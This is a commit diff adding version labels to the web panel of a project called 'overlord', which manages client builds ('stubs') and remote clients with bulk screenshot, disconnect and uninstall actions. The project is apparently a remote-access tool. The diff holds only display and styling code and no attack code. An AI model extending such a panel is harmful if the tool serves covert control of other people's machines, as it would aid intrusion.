1.3.3 + add easy way to tell the version
This commit is contained in:
@@ -540,6 +540,13 @@ function formatFileSize(bytes) {
|
||||
return Math.round((bytes / Math.pow(k, i)) * 100) / 100 + " " + sizes[i];
|
||||
}
|
||||
|
||||
function formatStubVersion(version) {
|
||||
if (typeof version === "string" && version.trim()) {
|
||||
return version.trim();
|
||||
}
|
||||
return "unknown (legacy build)";
|
||||
}
|
||||
|
||||
function saveBuildToStorage(buildId, buildData) {
|
||||
try {
|
||||
const builds = JSON.parse(localStorage.getItem("overlord_builds") || "[]");
|
||||
@@ -736,7 +743,15 @@ function showBuildFilesForContainer(build, containerId, timerId) {
|
||||
fileName.textContent = file.filename;
|
||||
const filePlatform = document.createElement("div");
|
||||
filePlatform.className = "text-sm text-gray-400";
|
||||
filePlatform.textContent = file.platform;
|
||||
const versionValue = formatStubVersion(file.version);
|
||||
const platformText = document.createElement("span");
|
||||
platformText.textContent = `${file.platform} | `;
|
||||
const versionText = document.createElement("span");
|
||||
versionText.className = "server-version-number";
|
||||
versionText.textContent =
|
||||
versionValue === "unknown (legacy build)" ? versionValue : `v${versionValue}`;
|
||||
filePlatform.appendChild(platformText);
|
||||
filePlatform.appendChild(versionText);
|
||||
fileText.appendChild(fileName);
|
||||
fileText.appendChild(filePlatform);
|
||||
fileMeta.appendChild(fileIcon);
|
||||
|
||||
@@ -1580,6 +1580,14 @@ mark.search-current {
|
||||
box-shadow: 0 8px 20px rgba(30, 64, 175, 0.25);
|
||||
}
|
||||
|
||||
.server-version-number {
|
||||
color: #4ade80;
|
||||
text-shadow:
|
||||
0 0 8px rgba(74, 222, 128, 0.65),
|
||||
0 0 16px rgba(34, 197, 94, 0.4);
|
||||
font-weight: 600;
|
||||
}
|
||||
|
||||
#filter-status,
|
||||
#filter-os,
|
||||
#sort {
|
||||
|
||||
@@ -36,12 +36,41 @@ const bulkScreenshotBtn = document.getElementById("bulk-screenshot");
|
||||
const bulkDisconnectBtn = document.getElementById("bulk-disconnect");
|
||||
const bulkUninstallBtn = document.getElementById("bulk-uninstall");
|
||||
const bulkClearBtn = document.getElementById("bulk-clear");
|
||||
const serverVersionText = document.getElementById("server-version-text");
|
||||
const selectedClients = new Set();
|
||||
let lastNonOnlineStatus = "all";
|
||||
|
||||
let currentUser = null;
|
||||
let contextCard = null;
|
||||
let availableOsList = new Set();
|
||||
|
||||
function setServerVersionLabel(version) {
|
||||
if (!serverVersionText) return;
|
||||
serverVersionText.textContent = "Server version: ";
|
||||
const value = document.createElement("span");
|
||||
value.className = "server-version-number";
|
||||
value.textContent = version;
|
||||
serverVersionText.appendChild(value);
|
||||
}
|
||||
|
||||
async function loadServerVersion() {
|
||||
if (!serverVersionText) return;
|
||||
try {
|
||||
const res = await fetch("/api/version", { credentials: "include" });
|
||||
if (!res.ok) {
|
||||
serverVersionText.textContent = "Server version: unavailable";
|
||||
return;
|
||||
}
|
||||
const payload = await res.json();
|
||||
const version = typeof payload?.version === "string" && payload.version.trim()
|
||||
? payload.version.trim()
|
||||
: "unknown";
|
||||
setServerVersionLabel(version);
|
||||
} catch {
|
||||
serverVersionText.textContent = "Server version: unavailable";
|
||||
}
|
||||
}
|
||||
|
||||
const setContext = (id) => {
|
||||
contextCard = id;
|
||||
};
|
||||
@@ -108,6 +137,7 @@ function applyMenuSupportRules(clientId) {
|
||||
}
|
||||
|
||||
async function loadCurrentUser() {
|
||||
loadServerVersion();
|
||||
try {
|
||||
const res = await fetch("/api/auth/me");
|
||||
if (res.ok) {
|
||||
|
||||
Reference in New Issue
Block a user